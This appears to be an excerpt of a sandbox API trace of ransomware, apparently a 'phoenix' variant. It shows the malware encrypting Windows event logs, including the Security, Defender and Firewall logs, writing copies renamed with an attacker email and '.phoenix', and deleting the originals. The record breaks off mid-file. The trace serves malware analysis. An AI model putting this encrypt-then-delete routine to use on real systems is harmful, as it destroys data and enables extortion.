	[0226.030] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.030] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.030] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.030] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0226.031] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.031] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.047] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0226.047] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0226.049] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0226.049] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.049] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0226.050] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0226.050] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0226.050] CryptDestroyKey (hKey=0x151580) returned 1
	[0226.050] CloseHandle (hObject=0x2d8) returned 1
	[0226.050] CloseHandle (hObject=0x2f0) returned 1
	[0226.052] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1
	[0226.054] SetEvent (hEvent=0x278) returned 1
	[0226.054] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0226.054] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.056] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0226.056] CloseHandle (hObject=0x2f0) returned 1
	[0226.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0226.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.056] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.056] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.056] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.056] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.057] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0226.057] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.057] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.099] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0226.099] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0226.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0226.102] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.102] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0226.102] CryptDestroyKey (hKey=0x151380) returned 1
	[0226.102] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0226.102] CryptDestroyKey (hKey=0x151200) returned 1
	[0226.102] CloseHandle (hObject=0x2f0) returned 1
	[0226.102] CloseHandle (hObject=0x2d8) returned 1
	[0226.112] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1
	[0226.371] SetEvent (hEvent=0x278) returned 1
	[0226.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0226.372] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.372] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0226.372] CloseHandle (hObject=0x2d8) returned 1
	[0226.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0226.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.372] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.372] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.372] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.372] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0226.373] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.373] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0226.396] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0226.397] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0226.399] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0226.399] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.399] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0226.399] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.399] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0226.399] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0226.399] CloseHandle (hObject=0x2d8) returned 1
	[0226.399] CloseHandle (hObject=0x2f0) returned 1
	[0226.404] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1
	[0226.406] SetEvent (hEvent=0x278) returned 1
	[0226.406] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0226.406] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.416] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1052672) returned 1
	[0226.416] CloseHandle (hObject=0x2f0) returned 1
	[0226.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0226.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.417] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0226.417] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.417] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0226.417] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0226.418] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0226.418] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.418] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x101000, lpOverlapped=0x0) returned 1
	[0226.448] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x101010, dwBufLen=0x101010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x101010) returned 1
	[0226.449] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x101010, lpOverlapped=0x0) returned 1
	[0226.558] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0226.558] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0226.558] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0226.558] CryptDestroyKey (hKey=0x151280) returned 1
	[0226.558] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0226.558] CryptDestroyKey (hKey=0x151140) returned 1
	[0226.558] CloseHandle (hObject=0x2f0) returned 1
	[0226.750] CloseHandle (hObject=0x2d8) returned 1
	[0226.800] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1
	[0226.801] SetEvent (hEvent=0x278) returned 1
	[0227.010] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.010] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.010] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1118208) returned 1
	[0227.010] CloseHandle (hObject=0x2c8) returned 1
	[0227.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0227.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.010] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.010] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.011] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.011] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\security.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.011] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0227.011] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.011] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x110100, lpOverlapped=0x0) returned 1
	[0227.046] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100, dwBufLen=0x110100 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x110100) returned 1
	[0227.047] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x110100, lpOverlapped=0x0) returned 1
	[0227.068] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xf00, lpOverlapped=0x0) returned 1
	[0227.069] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf10, dwBufLen=0xf10 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xf10) returned 1
	[0227.069] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf10, lpOverlapped=0x0) returned 1
	[0227.069] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0227.069] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.069] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0227.069] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0227.069] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0227.069] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0227.069] CloseHandle (hObject=0x2c8) returned 1
	[0227.069] CloseHandle (hObject=0x2e4) returned 1
	[0227.158] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1
	[0227.160] SetEvent (hEvent=0x278) returned 1
	[0227.160] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.160] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.161] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0227.161] CloseHandle (hObject=0x2e4) returned 1
	[0227.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0227.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.161] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.161] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.161] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.161] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.161] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0227.161] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.161] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0227.179] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0227.180] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0227.281] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0227.281] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
